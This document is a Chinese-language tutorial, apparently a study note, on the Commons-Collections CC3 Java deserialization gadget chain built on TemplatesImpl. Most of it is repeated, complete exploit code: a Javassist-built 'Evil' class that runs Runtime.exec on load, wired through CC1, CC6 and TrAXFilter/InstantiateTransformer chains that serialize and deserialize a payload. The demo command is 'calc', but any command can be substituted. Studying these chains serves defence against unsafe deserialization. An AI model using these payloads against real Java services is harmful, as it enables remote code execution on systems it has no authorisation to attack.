# TemplatesImpl 解析
在前面类动态加载中我们知道一般使用 defineClass
进行类加载
但是这里只加载但是不执行而且这个方法的属性为 protected
,而我们要找到其 public
的类,所以去 Find Usages
一下
一下就找到了,跟进
这里没有写作用域,所以是 default,就是说自己的包里能调用,再找一下哪里调用了这个函数
发现在自己的 defineTransletClasses
下调用了,再找一下谁调用了这个函数
直接看 getTransletInstance
类
发现这里有一个 newInstance
的实例化过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以继续找
找到了,接下来看怎么利用
# TemplatesImpl 利用
我们要调用调用这个函数是为了调用 getTransletInstance
,这中间没有其他影响可以直接调用,
进入 getTransletInstance
,拿出刚刚的图片
要想执行 newInstance
,要先将_name 赋值,那就看看它的构造函数
无参构造函数是啥也没有,所以要手动赋值
往下看我们需要让其调用 defineTransletClasses
函数,所以_class 属性为 null,即可
跟进 defineTransletClasses
这里要注意的就是 _bytecodes
需要赋值,否则报错;下面的 _tfactory
因为要调用其方法,所以也需要赋值
写下 setValue
函数进行赋值
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} |
赋值方法类似这样
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
templates.newTransformer(); | |
} |
在给 _bytecodes
赋值的时候看一下它的类型
二维数组
再看一下 defineClass
的逻辑是什么
需要一个一维数组
写一个恶意类
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} |
然后赋值
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecode = {code}; | |
setValue(templates, "_bytecodes", bytecode); |
注意这个恶意类需要继承 AbstractTranslet
接口
查看 defineTransletClasses
类
前面加载了恶意类之后这里有两个判断,第一个判断是判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,如果不是那么 _transletIndex
会被赋值为 - 1 并且进入下面的 if 语句从而报错
所以恶意类需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类
接着看 _tfactory
的赋值
它是一个 transient 变量,说明直接给值是不行的,那就直接到 readObjcet 看看
那么我们直接设置为这个 TransformerFactortImpl
即可
最终 POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.reflect.Field; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
templates.newTransformer(); | |
} | |
} |
也就是说,只需要调用 TemplatesImpl.newTransformer
即可,用 CC1 与 CC6 的链子都行
# CC1 加载 TemplatesImpl
poc1 链
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(templates), | |
new InvokerTransformer("newTransformer", null,null) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
//chainedTransformer.transform(1); | |
HashMap<Object,Object> map = new HashMap<>(); | |
map.put("value", "aaa"); | |
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap); | |
serialize(o); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |
poc2 链
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(templates), | |
new InvokerTransformer("newTransformer", null,null) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
//chainedTransformer.transform(1); | |
HashMap<Object,Object> map = new HashMap<>(); | |
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap); | |
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxy); | |
serialize(o); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |
# CC6 加载 TemplatesImpl
poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(templates), | |
new InvokerTransformer("newTransformer", null,null) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
//chainedTransformer.transform(1); | |
HashMap<Object,Object> map = new HashMap<>(); | |
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); | |
HashMap<Object, Object> map2 = new HashMap<>(); | |
map2.put(tiedMapEntry, "bbb"); | |
lazyMap.remove("key"); | |
Class c = LazyMap.class; | |
Field field = c.getDeclaredField("factory"); | |
field.setAccessible(true); | |
field.set(lazyMap, chainedTransformer); | |
//serialize(map2); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |
# yso 中 CC3
yso 中并没有用 InvokerTransformer.transform
来调用 TemplatesImpl.newTransformer
,而是利用 TrAXFilter
类
在构造函数的时候直接调用了 newTransformer
那继续寻找能够调用 TrAXFilter
构造函数的地方
找到了 InstantiateTransformer.transform
这里取得对象构造器并且实例化
那么看一下它的构造函数
要构造的是这个 TrAXFilter
所以传入
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); | |
instantiateTransformer.transform(TrAXFilter.class); |
即可
# cc1 版本
poc1
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(TrAXFilter.class), | |
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap<Object,Object> map = new HashMap<>(); | |
map.put("value", "aaa"); | |
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap); | |
serialize(o); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |
poc2
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(TrAXFilter.class), | |
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap<Object,Object> map = new HashMap<>(); | |
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); | |
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); | |
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruct.newInstance(Override.class, lazyMap); | |
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); | |
annotationInvocationHandlerConstruct.setAccessible(true); | |
Object o = annotationInvocationHandlerConstruct.newInstance(Override.class, proxy); | |
serialize(o); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |
# cc6 版本
poc
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; | |
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtConstructor; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InstantiateTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import org.apache.commons.collections.map.TransformedMap; | |
import javax.xml.transform.Templates; | |
import java.io.*; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Proxy; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class cc3 { | |
public static void setValue(String name, Object target, Object value) { | |
try { | |
Field field = target.getClass().getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target, value); | |
} catch (Exception ignore) { | |
} | |
} | |
public static void serialize(Object obj) throws IOException { | |
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
oos.writeObject(obj); | |
} | |
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { | |
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); | |
Object obj = ois.readObject(); | |
return obj; | |
} | |
public static void setValue(Object target, String name, Object value) throws Exception { | |
Class c = target.getClass(); | |
Field field = c.getDeclaredField(name); | |
field.setAccessible(true); | |
field.set(target,value); | |
} | |
public static byte[] getTemplatesImpl(String cmd) { | |
try { | |
ClassPool pool = ClassPool.getDefault(); | |
CtClass ctClass = pool.makeClass("Evil"); | |
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); | |
ctClass.setSuperclass(superClass); | |
CtConstructor constructor = ctClass.makeClassInitializer(); | |
constructor.setBody(" try {\n" + | |
" Runtime.getRuntime().exec(\"" + cmd + | |
"\");\n" + | |
" } catch (Exception ignored) {\n" + | |
" }"); | |
byte[] bytes = ctClass.toBytecode(); | |
ctClass.defrost(); | |
return bytes; | |
} catch (Exception e) { | |
e.printStackTrace(); | |
return new byte[]{}; | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TemplatesImpl templates = new TemplatesImpl(); | |
setValue(templates,"_name", "aaa"); | |
byte[] code = getTemplatesImpl("calc"); | |
byte[][] bytecodes = {code}; | |
setValue(templates, "_bytecodes", bytecodes); | |
setValue(templates,"_tfactory", new TransformerFactoryImpl()); | |
Transformer[] transformers = new Transformer[]{ | |
new ConstantTransformer(TrAXFilter.class), | |
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) | |
}; | |
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
HashMap<Object,Object> map = new HashMap<>(); | |
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); | |
HashMap<Object, Object> map2 = new HashMap<>(); | |
map2.put(tiedMapEntry, "bbb"); | |
lazyMap.remove("key"); | |
Class c = LazyMap.class; | |
Field field = c.getDeclaredField("factory"); | |
field.setAccessible(true); | |
field.set(lazyMap, chainedTransformer); | |
serialize(map2); | |
unserialize("ser.bin"); | |
//templates.newTransformer(); | |
} | |
} |